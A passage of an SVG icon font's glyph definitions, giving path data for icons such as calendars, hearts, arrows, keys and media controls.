<glyph unicode="&#xe1da;" d="M 448-64L0-64L0,328L 56,328L 56-8L 392-8L 392,328L 448,328 		zM 84,216L 140,216L 140,160L 84,160zM 196,216L 252,216L 252,160L 196,160zM 308,216L 364,216L 364,160L 308,160zM 84,104L 140,104L 140,48L 84,48zM 196,104L 252,104L 252,48L 196,48zM 308,48L 308,104L 364,104 		zM 112,300L 112,356 c0,15.47, 12.53,28, 28,28s 28-12.53, 28-28l0-56 c0-15.47-12.53-28-28-28S 112,284.53, 112,300zM 280,300L 280,356 c0,15.47, 12.53,28, 28,28s 28-12.53, 28-28l0-56 c0-15.47-12.53-28-28-28S 280,284.53, 280,300z"  />
<glyph unicode="&#xe1db;" d="M 364,328l0-28.658 c0-30.954-25.046-56-56-56s-56,25.046-56,56L 252,328 l-56,0 l0-28.658 c0-30.954-25.046-56-56-56s-56,25.046-56,56L 84,328 L0,328 l0-392 l 448,0 L 448,328 
			L 364,328 z M 140-8L 84-8 l0,56 l 56,0 L 140-8 z M 140,104L 84,104 l0,56 l 56,0 L 140,104 z M 252-8l-56,0 l0,56 l 56,0 L 252-8 z M 252,104l-56,0 l0,56 l 56,0 L 252,104 z M 308-8l0,56 l 56,0 L 308-8z M 364,104l-56,0 l0,56 l 56,0 L 364,104 zM 112,300L 112,356 c0,15.47, 12.53,28, 28,28s 28-12.53, 28-28l0-56 c0-15.47-12.53-28-28-28S 112,284.53, 112,300zM 280,300L 280,356 c0,15.47, 12.53,28, 28,28s 28-12.53, 28-28l0-56 c0-15.47-12.53-28-28-28S 280,284.53, 280,300z"  />
<glyph unicode="&#xe1dc;" d="M 391.972,48c-13.566,0-25.592-5.474-35.322-13.51l-85.344,60.928C 276.724,106.576, 280,118.826, 280,132
		c0,18.102-5.908,34.832-15.638,48.51l 99.834,99.918C 372.498,275.556, 381.696,272, 391.972,272c 30.954,0, 56,25.046, 56,56s-25.046,56-56,56s-56-25.046-56-56
		c0-10.332, 3.612-19.474, 8.428-27.776l-99.834-99.918C 230.776,210.148, 214.158,216, 196,216c-32.046,0-59.612-18.214-73.78-44.674l-67.424,22.526
		C 52.066,206.424, 41.398,216, 28,216c-15.47,0-28-12.53-28-28s 12.53-28, 28-28c 7.056,0, 13.342,2.842, 18.27,7.168l 67.046-22.372
		C 112.658,140.582, 112,136.368, 112,132c0-46.368, 37.632-84, 84-84c 23.072,0, 44.030,9.352, 59.22,24.444l 84.798-60.536
		c-2.408-6.23-4.046-12.852-4.046-19.908c0-30.898, 25.046-56, 56-56s 56,25.102, 56,56S 422.926,48, 391.972,48z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe1dd;" d="M 223.944,167.602L 448,273.148L 448,328L0,328L0,273.316 		zM 224.056,105.694L0,211.52L0-8L 448-8L 448,211.184 		z"  />
<glyph unicode="&#xe1de;" d="M 323.582,300c 34.398,0, 62.888-25.48, 67.704-58.632L 224.056,49.316L 56.714,241.368C 61.53,274.52, 90.020,300, 124.418,300
			c 28.224,0, 53.97-30.296, 53.97-30.296L 224,221.25l 45.612,48.454C 269.612,269.704, 295.372,300, 323.582,300 M 323.582,356
			c-41.776,0-77-22.092-99.582-53.816C 201.418,333.908, 166.194,356, 124.418,356C 55.776,356,0,300.112,0,231.526l0-10.276 L 224.112-36L 448,221.25l0,10.276 
			C 448,300.112, 392.224,356, 323.582,356L 323.582,356z"  />
<glyph unicode="&#xe1df;" d="M 224,302.184C 201.418,333.908, 166.194,356, 124.418,356C 55.776,356,0,300.112,0,231.526l0-10.276 L 224.112-36L 448,221.25l0,10.276 
				C 448,300.112, 392.224,356, 323.582,356C 281.806,356, 246.582,333.908, 224,302.184z"  />
<glyph unicode="&#xe1e0;" d="M 391.678,272l-55.286,0 L 392,327.776L 337.036,384l-77.924,0 l 55.832-55.776L 257.74,272l-66.122,0 l 56.826,55.776L 192.276,384L 113.092,384 
		l 55.776-55.776L 111.678,272L 55.566,272 l 56.868,55.776L 56.224,384L0,384 l0-448 l 448,0 L 448,384 l-54.908,0 L 448,328L 391.678,272z M 392-8L 56-8 l0,56 l 336,0 L 392-8 z M 392,104L 56,104 l0,56 l 336,0 L 392,104 z"  />
<glyph unicode="&#xe1e1;" d="M 196,384L0,384 l0-448 l 336,0 L 336,244.028 L 196,384z M 56-8L 56,328 l 112,0 l0-112 l 112,0 l0-224 L 56-8 z" horiz-adv-x="336"  />
<glyph unicode="&#xe1e2;" d="M 196,384L0,384 l0-448 l 336,0 L 336,244.028 L 196,384z M 166.852,216L 166.852,328 l 112-112L 166.852,216 z" horiz-adv-x="336"  />
<glyph unicode="&#xe1e3;" d="M 308.224,384L0,384 l0-447.132 l 112.714,92.092L 224.98-64l 112.168,92.862L 448-63.776L 448,244 L 308.224,384z M 392.28,48.868
		l-55.342,45.178l-111.944-92.638l-111.72,92.526l-57.204-45.066c0,0,0,243.026,0,280c 29.428,0, 109.326,0, 168.112,0l0-168 L 392.28,160.868 
		C 392.28,122.648, 392.28,48.868, 392.28,48.868z M 280.224,216.868c0,21.602,0,82.796,0,112c 22.638-22.638, 89.628-89.572, 112.056-112
		C 363.622,216.868, 301.98,216.868, 280.224,216.868z"  />
<glyph unicode="&#xe1e4;" d="M 302.526,384L0,384 l0-448 l 111.678,92.974L 223.888-64l 112.056,92.862L 448-64L 448,239.786 L 302.526,384z M 252,188L 252,328 l 140-140L 252,188 z"  />
<glyph unicode="&#xe1e5;" d="M 448,216L 280,216L 280,384L 168,384L 168,216L0,216L0,104L 168,104L 168-64L 280-64L 280,104L 448,104 	z"  />
<glyph unicode="&#xe1e6;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 336,132l-84,0 l0-84 l-56,0 l0,84 L 112,132 l0,56 l 84,0 
		L 196,272 l 56,0 l0-84 l 84,0 L 336,132 z"  />
<glyph unicode="&#xe1e7;" d="M0,216L 448,216L 448,104L0,104z"  />
<glyph unicode="&#xe1e8;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 336,132L 112,132 l0,56 l 224,0 L 336,132 z"  />
<glyph unicode="&#xe1e9;" d="M 448,272c0,61.824-50.204,112-112,112c-41.776,0-77.868-23.212-97.132-57.204c0,0.028, 0.056,0.056, 0.056,0.084
		c-5.138,0.49-10.122,1.554-15.372,1.554c-92.806,0-168-75.194-168-168c0-35.378, 11.046-68.138, 29.694-95.158L0-64l 130.046,84.868
		c 26.74-17.934, 58.898-28.434, 93.52-28.434c 92.806,0, 168,75.194, 168,168c0,4.844-0.98,9.38-1.428,14.112C 424.48,193.684, 448,229.916, 448,272z
		 M 223.566,48.434c-61.796,0-112,50.204-112,112c0,61.768, 50.204,112, 112,112c 0.168,0, 0.322-0.056, 0.434-0.056c0,0.112, 0.056,0.196, 0.056,0.28
		C 224.056,272.434, 224,272.224, 224,272c0-9.73, 1.638-18.97, 3.934-27.972l-44.408-44.436c-21.868-21.868-21.868-57.316,0-79.184s 57.316-21.868, 79.184,0
		l 43.974,43.974c 9.24-2.52, 18.816-4.27, 28.826-4.326C 335.286,98.428, 285.194,48.434, 223.566,48.434z M 336,216c-30.842,0-56,25.13-56,56
		s 25.158,56, 56,56s 56-25.13, 56-56S 366.842,216, 336,216z"  />
<glyph unicode="&#xe1ea;" d="M 439.796,375.796c-10.934,10.934-28.826,10.934-39.76,0l-56.98-57.036C 319.704,334.286, 292.908,342, 266,342
			c-35.826,0-71.638-13.678-98.98-41.020l-84-84c-47.908-47.852-53.816-121.842-17.822-176.148l-56.98-57.036c-10.934-10.934-10.934-28.658,0-39.592
			C 13.678-61.27, 20.832-64, 28-64s 14.322,2.73, 19.796,8.204l 56.98,57.036C 128.128-14.286, 155.092-22, 182-22c 35.826,0, 71.638,13.678, 98.98,41.020
			l 83.832,84c 47.908,47.852, 53.816,121.842, 17.822,176.148l 57.148,57.036C 450.73,347.138, 450.73,364.862, 439.796,375.796z M 349.832,202
			c0-22.428-8.75-43.526-24.612-59.388l-83.832-84C 225.526,42.75, 204.428,34, 182,34c-12.684,0-24.822,3.122-35.98,8.428l 41.776,41.776
			c 10.934,10.934, 10.934,28.658,0,39.592s-28.658,10.934-39.592,0L 106.428,82.020C 101.066,93.122, 98,105.26, 98,118c0,22.428, 8.75,43.526, 24.612,59.388
			l 84,84C 222.474,277.25, 243.572,286, 266,286c 12.684,0, 24.78-3.122, 35.924-8.428l-42.602-42.658c-10.934-10.934-10.934-28.658,0-39.592
			c 5.474-5.474, 12.628-8.204, 19.796-8.204c 7.112,0, 14.28,2.73, 19.74,8.204l 42.546,42.658C 346.78,226.878, 349.832,214.74, 349.832,202z"  />
<glyph unicode="&#xe1eb;" d="M 448,384L 112,160L 196,104L0-64L 336,104L 252,160 	z"  />
<glyph unicode="&#xe1ec;" d="M 252,104L 252,20L 308,20L 224-64L 140,20L 196,20L 196,104 		zM 196,216L 196,300L 140,300L 224,384L 308,300L 252,300L 252,216 		zM 168,132L 84,132L 84,76L0,160L 84,244L 84,188L 168,188 		zM 280,188L 364,188L 364,244L 448,160L 364,76L 364,132L 280,132 		z"  />
<glyph unicode="&#xe1ed;" d="M 224,76L 252,104L 252,20L 308,20L 224-64L 140,20L 196,20L 196,104 		zM 224,243.132L 196,216L 196,300L 140,300L 224,384L 308,300L 252,300L 252,216 		zM 140,160L 168,132L 84,132L 84,76L0,160L 84,244L 84,188L 168,188 		zM 307.132,160L 280,188L 364,188L 364,244L 448,160L 364,76L 364,132L 280,132 		z"  />
<glyph unicode="&#xe1ee;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 308,104l0,28 l-56,0 l0-56 l 28,0 l-56-56
		l-56,56l 28,0 l0,56 l-56,0 l0-28 l-56,56l 56,56l0-28 l 56,0 l0,56 l-28,0 l 56,56l 56-56l-28,0 l0-56 l 56,0 l0,28 l 56-56L 308,104z"  />
<glyph unicode="&#xe1ef;" d="M 252,356c0,15.4-12.6,28-28,28s-28-12.6-28-28l0-252 l-28,0 l0-56 l 28,0 l0-84 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28l0,84 l 28,0 l0,56 l-28,0 L 252,356 zM 84,356c0,15.4-12.6,28-28,28S 28,371.4, 28,356l0-140 L0,216 l0-56 l 28,0 l0-196 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28L 84,160 l 28,0 l0,56 L 84,216 L 84,356 zM 448,272l-28,0 L 420,356 c0,15.4-12.6,28-28,28s-28-12.6-28-28l0-84 l-28,0 l0-56 l 28,0 l0-252 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28L 420,216 l 28,0 L 448,272 z"  />
<glyph unicode="&#xe1f0;" d="M 112,104c-19.74,0-38.388,4.046-56,10.304L 56-64 l 56,56l 56-56L 168,114.304 C 150.388,108.046, 131.74,104, 112,104zM0,272A112,112 1620 1 1 224,272A112,112 1620 1 1 0,272z" horiz-adv-x="224"  />
<glyph unicode="&#xe1f1;" d="M 112,104c-19.74,0-38.388,4.046-56,10.276L 56-64 l 56,56l 56-56L 168,114.276 C 150.388,108.046, 131.74,104, 112,104zM 112,384C 50.148,384,0,333.852,0,272s 50.148-112, 112-112s 112,50.148, 112,112S 173.852,384, 112,384z M 112,216c-30.954,0-56,25.074-56,56
			s 25.046,56, 56,56s 56-25.074, 56-56S 142.954,216, 112,216z" horiz-adv-x="224"  />
<glyph unicode="&#xe1f2;" d="M 281.862,384C 190.316,384, 115.822,309.52, 115.822,217.918c0-21.924, 4.48-42.714, 12.194-61.852L0,28.036L 91.98-64l 128.072,128.128
	c 19.138-7.77, 39.928-12.25, 61.796-12.25c 91.602,0, 166.138,74.48, 166.138,166.012C 448,309.52, 373.464,384, 281.862,384z M 281.862,107.822
	c-60.648,0-110.082,49.434-110.082,110.068c0,60.704, 49.434,110.138, 110.082,110.138c 60.76,0, 110.194-49.434, 110.194-110.138
	C 392.056,157.27, 342.622,107.822, 281.862,107.822z"  />
<glyph unicode="&#xe1f3;" d="M 448,328l-56,0 l-56,0 c0,30.954-25.046,56-56,56l-112,0 C 137.046,384, 112,358.954, 112,328L 56,328 L0,328 l0-56 l 56,0 l0-252 c0-46.368, 37.632-84, 84-84l 168,0 
			c 46.368,0, 84,37.632, 84,84L 392,272 l 56,0 L 448,328 z M 336,20c0-15.428-12.572-28-28-28L 140-8 c-15.428,0-28,12.572-28,28L 112,272 l 224,0 L 336,20 zM 140,76A28,28 1620 1 1 196,76A28,28 1620 1 1 140,76zM 140,188A28,28 1620 1 1 196,188A28,28 1620 1 1 140,188zM 252,76A28,28 1620 1 1 308,76A28,28 1620 1 1 252,76zM 252,188A28,28 1620 1 1 308,188A28,28 1620 1 1 252,188z"  />
<glyph unicode="&#xe1f4;" d="M 392,328l-56,0 c0,30.954-25.046,56-56,56l-112,0 C 137.046,384, 112,358.954, 112,328L 56,328 L0,328 l0-56 l 56,0 l0-252 c0-46.368, 37.632-84, 84-84l 168,0 
		c 46.368,0, 84,37.632, 84,84L 392,272 l 56,0 L 448,328 L 392,328 z M 168,48c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28S 183.47,48, 168,48z M 168,160
		c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28S 183.47,160, 168,160z M 280,48c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28
		S 295.47,48, 280,48z M 280,160c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28S 295.47,160, 280,160z"  />
<glyph unicode="&#xe1f5;" d="M 112,258A14,14 1620 1 1 140,258A14,14 1620 1 1 112,258zM 196,384L 28,384 C 12.53,384,0,371.47,0,356l0-308 c0-61.852, 50.148-112, 112-112s 112,50.148, 112,112L 224,356 C 224,371.47, 211.47,384, 196,384z M 70,104
		c-7.728,0-14,6.258-14,14s 6.272,14, 14,14c 7.742,0, 14-6.258, 14-14S 77.742,104, 70,104z M 140,48c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28
		S 155.47,48, 140,48z M 168,160l-28,0 c0,15.456-12.544,28-28,28s-28-12.544-28-28L 56,160 L 56,328 l 112,0 L 168,160 z" horiz-adv-x="224"  />
<glyph unicode="&#xe1f6;" d="M 196,384L 28,384 C 12.53,384,0,371.47,0,356l0-308 c0-61.852, 50.148-112, 112-112s 112,50.148, 112,112L 224,356 C 224,371.47, 211.47,384, 196,384z M 140,48
	c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28S 155.47,48, 140,48z M 168,160l-28,0 c0,15.456-12.544,28-28,28s-28-12.544-28-28L 56,160 L 56,328 l 112,0 L 168,160 z" horiz-adv-x="224"  />
<glyph unicode="&#xe1f7;" d="M 308,384c-77.322,0-140-62.678-140-140c0-8.75, 1.036-17.178, 2.576-25.424L0,48l0-112 l 168,0 l0,56 l 56,0 l0,56 l 56,0 l0,56 l 2.576,2.576
		C 290.822,105.036, 299.25,104, 308,104c 77.322,0, 140,62.678, 140,140S 385.322,384, 308,384z M 308,160c-4.382,0-9.184,0.546-15.204,1.638l-28.98,5.362
		L 224,127.184L 224,104 l-56,0 l0-56 L 112,48 l0-56 L 56-8 l0,32.816 l 175,175l-5.362,28.98C 224.518,234.816, 224,239.632, 224,244c0,46.326, 37.674,84, 84,84s 84-37.674, 84-84
		S 354.326,160, 308,160zM 280,244A28,28 1620 1 1 336,244A28,28 1620 1 1 280,244z"  />
<glyph unicode="&#xe1f8;" d="M 308,384c-77.322,0-140-62.678-140-140c0-8.75, 1.036-17.178, 2.576-25.424L0,48l0-112 l 168,0 l0,56 l 56,0 l0,56 l 56,0 l0,56 
				l 2.576,2.576C 290.822,105.036, 299.25,104, 308,104c 77.322,0, 140,62.678, 140,140S 385.322,384, 308,384z M 308.112,216c-15.47,0-28,12.53-28,28s 12.53,28, 28,28
				s 28-12.53, 28-28S 323.582,216, 308.112,216z"  />
<glyph unicode="&#xe1f9;" d="M 448,384L 112,384 l0-112 C 71.316,272,0,272,0,272l0-336 l 336,0 l0,112 l 112,0 L 448,384 z M 280-8L 56-8 L 56,160 l 56,0 l0-112 l 168,0 C 280,22.954, 280-8, 280-8z M 392,104L 168,104 L 168,272 l 224,0 
		L 392,104 z"  />
<glyph unicode="&#xe1fa;" d="M 140,327.888c 46.354,0, 84-37.786, 84-84.224c0-26.53-12.082-50.918-33.222-66.822c-31.612-23.898-44.38-50.316-48.776-72.52
			L 137.998,104.322 c-4.382,22.204-17.192,48.622-48.776,72.52c-21.112,15.918-33.25,40.306-33.25,66.822C 55.972,290.102, 93.646,327.888, 140,327.888 M 140,384
			C 62.678,384,0,321.168,0,243.678C0,197.73, 21.63,157.592, 55.566,132c 15.61-11.816, 28.49-27.020, 28.49-48.020l0-35.77 l 111.916,0 L 195.972,83.98 
			c0,21, 12.88,36.204, 28.462,48.020C 258.398,157.592, 280,197.73, 280,243.678C 280,321.168, 217.322,384, 140,384L 140,384zM 84-8L 196-8L 196-64L 84-64z" horiz-adv-x="280"  />
<glyph unicode="&#xe1fb;" d="M 65.674,1.52C 23.296,43.842,0,100.066,0,160C0,283.48, 100.464,384, 224,384l 28-28l-28-28C 131.362,328, 56,252.638, 56,160
			c0-44.954, 17.5-87.178, 49.28-118.888l-34.398-4.48L 65.674,1.52L 65.674,1.52zM 224-64l-28,27.888L 224-8c 92.638,0, 168,75.362, 168,168c0,44.842-17.5,87.066-49.322,118.832l 34.454,4.536
			l 5.138,35.056C 424.648,276.102, 448,219.822, 448,160C 448,36.52, 347.48-64, 224-64L 224-64z"  />
<glyph unicode="&#xe1fc;" d="M 334.362,298.796l-39.48-39.648C 321.342,232.674, 336,197.464, 336,160c0-77.224-62.776-140-140-140l0,28 l-56-56l 56-56l0,28 
			c 108.066,0, 196,87.934, 196,196C 392,212.444, 371.546,261.724, 334.362,298.796zM 252,328l-56,56l0-28 C 87.934,356,0,268.066,0,160c0-52.444, 20.454-101.724, 57.638-138.796l 39.48,39.648
			C 70.658,87.326, 56,122.536, 56,160C 56,237.224, 118.776,300, 196,300l0-28 L 252,328z" horiz-adv-x="392"  />
<glyph unicode="&#xe1fd;" d="M 392,132c0,108.22-87.78,196-196,196C 87.78,328,0,240.22,0,132C0,209.322, 62.678,272, 140,272s 140-62.678, 140-140l0-28 l-56,0 l 112-112l 112,112l-56,0 L 392,132 
		z"  />
<glyph unicode="&#xe1fe;" d="M 394.16,331.924c-69.394,69.38-190.458,69.436-259.809,0L 55.997,253.514L 55.997,327.989 L0,327.989 l0-167.989 l 167.989,0 l0,55.997 l-70.318-0.042l 76.338,76.338
			c 48.227,48.283, 132.334,48.283, 180.561-0.056C 378.69,268.115, 391.976,236.072, 391.976,201.955c0-34.158-13.285-66.216-37.405-90.407l-42.221-42.207l 39.589-39.575
			l 42.221,42.109C 428.835,106.663, 447.972,152.833, 447.972,201.955C 447.972,251.050, 428.835,297.205, 394.16,331.924zM 258.27-64L 218.68-24.355L 258.298,15.221L 297.888-24.425z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe1ff;" d="M 336,132c0-61.74-50.204-112-112-112s-112,50.26-112,112s 50.204,112, 112,112l 33.026-0.378l-16.296-16.296l 39.592-39.592L 364.49,272
			l-84.168,84l-39.592-39.592L 257.25,300L 224,300 C 131.25,300, 56,224.806, 56,132s 75.25-168, 168-168s 168,75.194, 168,168L 336,132 z"  />
<glyph unicode="&#xe200;" d="M 336,132c0-61.796-50.204-112-112-112s-112,50.204-112,112s 50.204,112, 112,112l 56,0 l 0.322-56.28L 364.49,272l-84.168,84l0-56 L 224,300 
			C 131.25,300, 56,224.75, 56,132s 75.25-168, 168-168s 168,75.25, 168,168L 336,132 z"  />
<glyph unicode="&#xe201;" d="M 280,160l0-56 l 66.332,0 l-75.194-75.194c-47.446-47.544-130.326-47.544-177.814,0l-39.62-39.536
		C 88.018-45.086, 133.714-64, 182.28-64c 48.594,0, 94.178,18.928, 128.45,53.27l 81.27,81.2L 392-8 l 56,0 L 448,160 L 280,160 zM 168,216L 101.668,216 l 75.194,75.194c 47.446,47.544, 130.326,47.544, 177.814,0l 39.62,39.536C 359.982,365.072, 314.286,384, 265.706,384
		c-48.594,0-94.178-18.928-128.45-53.27L 56,249.53L 56,328 L0,328 l0-168 l 168,0 L 168,216 z"  />
<glyph unicode="&#xe202;" d="M 168,244L 112,244 L 112,244.224 C 112,259.652, 124.572,272, 140,272l 168,0 c 15.428,0, 28-12.572, 28-28l0-28 l 56,0 l0,28 c0,46.326-37.674,84-84,84L 140,328 
		c-46.326,0-84-37.674-84-84L0,244 l 84-84L 168,244zM 364,160l-84-84l 56,0 l0-0.224 C 336,60.362, 323.428,48, 308,48L 140,48 c-15.428,0-28,12.572-28,28l0,28 L 56,104 l0-28 c0-46.326, 37.674-84, 84-84l 168,0 
		c 46.326,0, 84,37.674, 84,84l 56,0 L 364,160z"  />
<glyph unicode="&#xe203;" d="M 168,244L 112,244 L 112,272 c0,15.428, 12.572,28, 28,28l 168,0 c 15.428,0, 28-12.572, 28-28l0-28 l 56,0 L 392,272 c0,46.326-37.674,84-84,84L 140,356 C 93.674,356, 56,318.326, 56,272
		l0-28 L0,244 l 84-112L 168,244zM 364,188l-84-112l 56,0 l0-28 c0-15.428-12.572-28-28-28L 140,20 c-15.428,0-28,12.572-28,28l0,28 L 56,76 l0-28 c0-46.326, 37.674-84, 84-84l 168,0 
		c 46.326,0, 84,37.674, 84,84l0,28 l 56,0 L 364,188z"  />
<glyph unicode="&#xe204;" d="M 392,160l0-28 c0-15.428-12.572-28-28-28L 167.944,104 L 168,160l-112-84l 112-84l-0.056,56L 364,48 c 46.326,0, 84,37.73, 84,84l0,28 L 392,160 zM 56,188c0,15.47, 12.572,28, 28,28l 196,0 l0-56 l 111.888,84L 280,328l0-56 L 84,272 c-46.326,0-84-37.632-84-84l0-28 l 56,0 L 56,188 z"  />
<glyph unicode="&#xe205;" d="M 392,132c0-15.428-12.572-28-28-28L 111.888,104 l0,56 L0,76l 111.888-84l0,56 L 364,48 c 46.326,0, 84,37.73, 84,84L 392,132 zM 84,216l 252,0 l0-56 l 112,84l-112,84l0-56 L 84,272 c-46.326,0-84-37.632-84-84l 56,0 C 56,203.428, 68.572,216, 84,216z"  />
<glyph unicode="&#xe206;" d="M 447.972,48L 111.888,48L 111.888-8L0,76L 111.888,160L 111.888,104L 447.972,104 		zM0,216L 335.972,216L 335.972,160L 447.972,244L 335.972,328L 335.972,272L0,272 		z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe207;" d="M 112,104L 112,20L 168,20L 84-64L0,20L 56,20L 56,104 		zM 56,216L 56,300L0,300L 84,384L 168,300L 112,300L 112,216 		z" horiz-adv-x="168"  />
<glyph unicode="&#xe208;" d="M 84,76L 112,104L 112,20L 168,20L 84-64L0,20L 56,20L 56,104 		zM 84,243.132L 56,216L 56,300L0,300L 84,384L 168,300L 112,300L 112,216 		z" horiz-adv-x="168"  />
<glyph unicode="&#xe209;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 252,76l 28,0 l-56-56l-56,56l 28,0 L 196,244 
		l-28,0 l 56,56l 56-56l-28,0 L 252,76 z"  />
<glyph unicode="&#xe20a;" d="M 168,132L 84,132L 84,76L0,160L 84,244L 84,188L 168,188 		zM 280,188L 364,188L 364,244L 448,160L 364,76L 364,132L 280,132 		z"  />
<glyph unicode="&#xe20b;" d="M 140,160L 168,132L 84,132L 84,76L0,160L 84,244L 84,188L 168,188 		zM 307.132,160L 280,188L 364,188L 364,244L 448,160L 364,76L 364,132L 280,132 		z"  />
<glyph unicode="&#xe20c;" d="M 448,160c0,123.704-100.296,224-224,224S0,283.704,0,160s 100.296-224, 224-224S 448,36.296, 448,160z M 140,132l0-28 l-56,56l 56,56l0-28 
		l 168,0 l0,28 l 56-56l-56-56l0,28 L 140,132 z"  />
<glyph unicode="&#xe20d;" d="M 448,216L 224,216L 308,300L 224,384L0,160L 224-64L 308,20L 224,104L 448,104 z"  />
<glyph unicode="&#xe20e;" d="M 448,160c0,123.704-100.296,224-224,224C 100.282,384,0,283.704,0,160c0-123.718, 100.282-224, 224-224C 347.704-64, 448,36.282, 448,160z
	 M 112,160l 112,112l0-84 l 112,0 l0-56 l-112,0 l0-84 L 112,160z"  />
<glyph unicode="&#xe20f;" d="M 224-64c 123.704,0, 224,100.296, 224,224S 347.704,384, 224,384S0,283.704,0,160S 100.296-64, 224-64z M 140,216l0-28 l 224,0 l0-56 L 140,132 l0-28 l-56,56
		L 140,216z"  />
<glyph unicode="&#xe210;" d="M0,104L 224,104L 140,20L 224-64L 448,160L 224,384L 140,300L 224,216L0,216 z"  />
<glyph unicode="&#xe211;" d="M0,160c0-123.704, 100.296-224, 224-224c 123.718,0, 224,100.296, 224,224c0,123.718-100.282,224-224,224C 100.296,384,0,283.718,0,160z M 336,160
	l-112-112l0,84 L 112,132 l0,56 l 112,0 L 224,272 L 336,160z"  />
<glyph unicode="&#xe212;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 308,104l0,28 L 84,132 l0,56 l 224,0 l0,28 l 56-56
		L 308,104z"  />
<glyph unicode="&#xe213;" d="M 280-64L 280,160L 364,76L 448,160L 224,384L0,160L 84,76L 168,160L 168-64 z"  />
<glyph unicode="&#xe214;" d="M 224-64c 123.704,0, 224,100.296, 224,224c0,123.718-100.296,224-224,224C 100.282,384,0,283.718,0,160C0,36.296, 100.282-64, 224-64z M 224,272
	l 112-112l-84,0 l0-112 l-56,0 l0,112 L 112,160 L 224,272z"  />
<glyph unicode="&#xe215;" d="M0,160c0-123.704, 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384S0,283.704,0,160z M 280,244l-28,0 l0-224 l-56,0 L 196,244 l-28,0 
		l 56,56L 280,244z"  />
<glyph unicode="&#xe216;" d="M 168,384L 168,160L 84,244L0,160L 224-64L 448,160L 364,244L 280,160L 280,384 z"  />
<glyph unicode="&#xe217;" d="M 224,384C 100.296,384,0,283.704,0,160c0-123.718, 100.296-224, 224-224c 123.718,0, 224,100.282, 224,224C 448,283.704, 347.718,384, 224,384z M 224,48
	l-112,112l 84,0 L 196,272 l 56,0 l0-112 l 84,0 L 224,48z"  />
<glyph unicode="&#xe218;" d="M 448,160c0,123.704-100.296,224-224,224S0,283.704,0,160s 100.296-224, 224-224S 448,36.296, 448,160z M 168,76l 28,0 L 196,300 l 56,0 l0-224 l 28,0 
		l-56-56L 168,76z"  />
<glyph unicode="&#xe219;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 224.434,104.924
				c-30.632,0-55.51,24.822-55.51,55.51c0,30.73, 24.878,55.566, 55.51,55.566C 255.178,216, 280,191.178, 280,160.434
				C 280,129.76, 255.178,104.924, 224.434,104.924z"  />
<glyph unicode="&#xe21a;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 224,328
		c 72.898,0, 134.47-46.956, 157.724-112L 66.276,216 C 89.53,281.044, 151.102,328, 224,328z M 224,132c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28
		S 239.47,132, 224,132z M 56,160c 76.51,0, 138.474-73.724, 139.776-165.158C 116.592,8.408, 56,77.036, 56,160z M 252.224-5.158
		C 253.526,86.276, 315.49,160, 392,160C 392,77.036, 331.408,8.408, 252.224-5.158z"  />
<glyph unicode="&#xe21b;" d="M 168,160c 30.954,0, 56,25.074, 56,56L 224,328 c0,30.926-25.046,56-56,56S 112,358.926, 112,328l0-112 C 112,185.074, 137.046,160, 168,160zM 224-8l-28,0 l0,58.842 C 275.296,64.24, 336,132.952, 336,216l0,27.132 c0,15.47-12.53,28-28,28s-28-12.53-28-28L 280,216 
			c0-61.768-50.204-112-112-112s-112,50.232-112,112l0,27.132 c0,15.47-12.53,28-28,28s-28-12.53-28-28L0,216 c0-83.048, 60.704-151.76, 140-165.158L 140-8 L 112-8 
			c-30.954,0-56-25.046-56-56l 224,0 C 280-33.046, 254.954-8, 224-8z" horiz-adv-x="336"  />
<glyph unicode="&#xe21c;" d="M 420,132l-28,0 l0,56 c0,92.75-75.25,168-168,168S 56,280.75, 56,188l0-56 L 28,132 c-15.47,0-28-12.53-28-28l0-112 c0-15.47, 12.53-28, 28-28l 84,0 L 112,188 
	c0,61.796, 50.204,112, 112,112s 112-50.204, 112-112l0-224 l 84,0 c 15.47,0, 28,12.53, 28,28l0,112 C 448,119.47, 435.47,132, 420,132z"  />
<glyph unicode="&#xe21d;" d="M 112,48c-61.852,0-112,50.148-112,112s 50.148,112, 112,112L 112,48 zM 168,272L 280,328L 280-8L 168,48 			zM 336.056,48.056l0,56 c 4.648,0, 9.352,0.602, 14.056,1.75C 374.668,112.036, 392,134.352, 392,160
			s-17.332,47.908-42.168,54.194c-4.424,1.092-9.128,1.694-13.776,1.694l0,56 c 9.184,0, 18.382-1.148, 27.398-3.332C 413.28,255.872, 448,211.296, 448,160
			c0-51.352-34.72-95.97-84.378-108.556C 354.326,49.204, 345.128,48.056, 336.056,48.056L 336.056,48.056z"  />
<glyph unicode="&#xe21e;" d="M 112,48c-61.852,0-112,50.148-112,112s 50.148,112, 112,112L 112,48 zM 168,272L 280,328L 280-8L 168,48 			zM 448,132L 336,132L 336,188L 448,188 		z"  />
<glyph unicode="&#xe21f;" d="M0,384L 336,160L0-64 	z" horiz-adv-x="336"  />
